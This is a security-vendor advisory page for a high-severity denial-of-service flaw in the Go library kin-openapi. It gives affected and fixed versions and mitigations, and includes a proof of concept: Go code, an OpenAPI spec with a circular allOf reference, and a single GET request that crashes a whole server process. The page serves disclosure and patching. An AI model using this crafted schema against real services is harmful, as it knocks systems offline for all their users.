Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-100354 — kin-openapi

HIGHFix: getkin/kin-openapi@9245cef

CVE-2026-100354 is a high-severity (CVSS 7.5) CWE-674 vulnerability in github.com/getkin/kin-openapi. A fix is available for github.com/getkin/kin-openapi — see the affected versions and patch details below.

kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash

Also known asGHSA-g8cf-rcjf-c8cf
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-100354.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs37th percentile — riskier than 37% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-100354 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/getkin/kin-openapi

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular $refs on purpose (to support recursive data structures), and Schema.validate() uses stack-based cycle detection. Validate() therefore accepts a schema whose allOf / anyOf / oneOf chain refers back to itself, returning no error.

The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a fatal stack overflow (runtime: goroutine stack exceeds ... limit / fatal error: stack overflow), which is not a recoverable panic. recover() cannot catch it, so net/http's per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.

Two independent unguarded recursion sites were confirmed:

  1. openapi3/schema.go — visitJSON / visitXOFOperations (reached by VisitJSON, i.e. response validation and direct schema validation).
  2. openapi3filter/req_resp_decoder.go — decodeValue (reached first during request parameter decoding). The report also identifies the same gap in urlValuesDecoder.parseValue and buildResObj/buildFromSchemas.

Details

Root Cause

Schema.validate() has cycle detection (openapi3/schema.go:1396):

func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {
	if slices.Contains(stack, schema) {
		return stack, nil
	}
	// ...
	stack = append(stack, schema)

The runtime visitor has none. visitJSON (line 1951) calls visitXOFOperations (line 2189), which iterates the combinator slice and calls visitJSON again on each sub-schema:

func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {
	// ...
	for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf
		v := item.Value
		// no check for item.Value == schema (or any ancestor)
		if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle

The request-decoding path has the same structure in decodeValue (openapi3filter/req_resp_decoder.go:270):

func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {
	if len(schema.Value.AllOf) > 0 {
		for _, sr := range schema.Value.AllOf {
			value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check

Proof of Concept

Environment

  • kin-openapi v0.144.0 (tag v0.144.0, commit f0407d5)
  • Go 1.26.7

Path A: response / direct schema validation (VisitJSON)

A schema whose allOf refers to itself. Validate() is called first to show the schema is accepted, then VisitJSON():

recursiveSchema := &openapi3.Schema{
	Type:       &openapi3.Types{"object"},
	Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular

_ = recursiveSchema.Validate(ctx)                       // accepted, no error
_ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes

Output:

Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it
Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
	openapi3/schema.go:1951
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
	openapi3/schema.go:2309
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
	openapi3/schema.go:1981
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
	openapi3/schema.go:2309
... (repeats until stack overflow)

A defer recover() placed around the call did not catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.

Path B: HTTP request validation against a loaded spec (realistic delivery)

A legal OAS 3.0 spec with a circular allOf $ref, loaded normally, served behind a standard net/http handler using openapi3filter.ValidateRequest:

openapi: '3.0.0'
info: { title: Circular allOf crash PoC, version: '1.0' }
paths:
  /test:
    get:
      parameters:
        - name: data
          in: query
          schema: { $ref: '#/components/schemas/Recursive' }
      responses: { '200': { description: OK } }
components:
  schemas:
    Recursive:
      type: object
      allOf:
        - $ref: '#/components/schemas/Recursive'
      properties:
        name: { type: string }

A single GET /test?data=x crashes the whole server process:

Validate() ACCEPTED the spec with circular allOf $ref
Sending GET /test?data=x through a real net/http server...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
	openapi3filter/req_resp_decoder.go:278
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
	openapi3filter/req_resp_decoder.go:278
... (repeats until stack overflow)

The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard net/http per-connection recover() did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.

Fix verification

Adding stack-based cycle detection to both sites (matching validate()'s pattern) eliminated the crash:

  • visitJSON guard: VisitJSON() returned normally instead of crashing.
  • decodeValue guard: the same GET /test?data=x returned a clean 400:
Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding"
If you see this line, the process survived.

Impact

An unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by net/http's per-request recovery, so A:H applies to all host types, unlike a recoverable-panic bug.

Attack surface, in order of exposure:

  • Applications that load OpenAPI specs from untrusted or semi-trusted sources (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.
  • Applications serving a fixed, trusted spec that happens to contain a circular allOf/anyOf/oneOf. Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/getkin/kin-openapiall versions0.149.0go get github.com/getkin/kin-openapi@v0.149.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/getkin/kin-openapi, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/getkin/kin-openapi to 0.149.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-100354 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant
ProductFixed inAdvisory
Red Hat Hardened Imageshugo-main-0.168.0-0.1.hum1RHSA-2026:82637
Red Hat Hardened Imagesgrafana13-2-main-13.2.3-0.3.hum1RHSA-2026:85266
Red Hat Hardened Imagesgrafana13-1-main-13.1.8-0.3.hum1RHSA-2026:87077

Frequently Asked Questions

## Summary kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error. The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`
O3 Security · Impact-Aware SCA

Is CVE-2026-100354 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-100354: kin-openapi DoS — Fixed in 0.149.0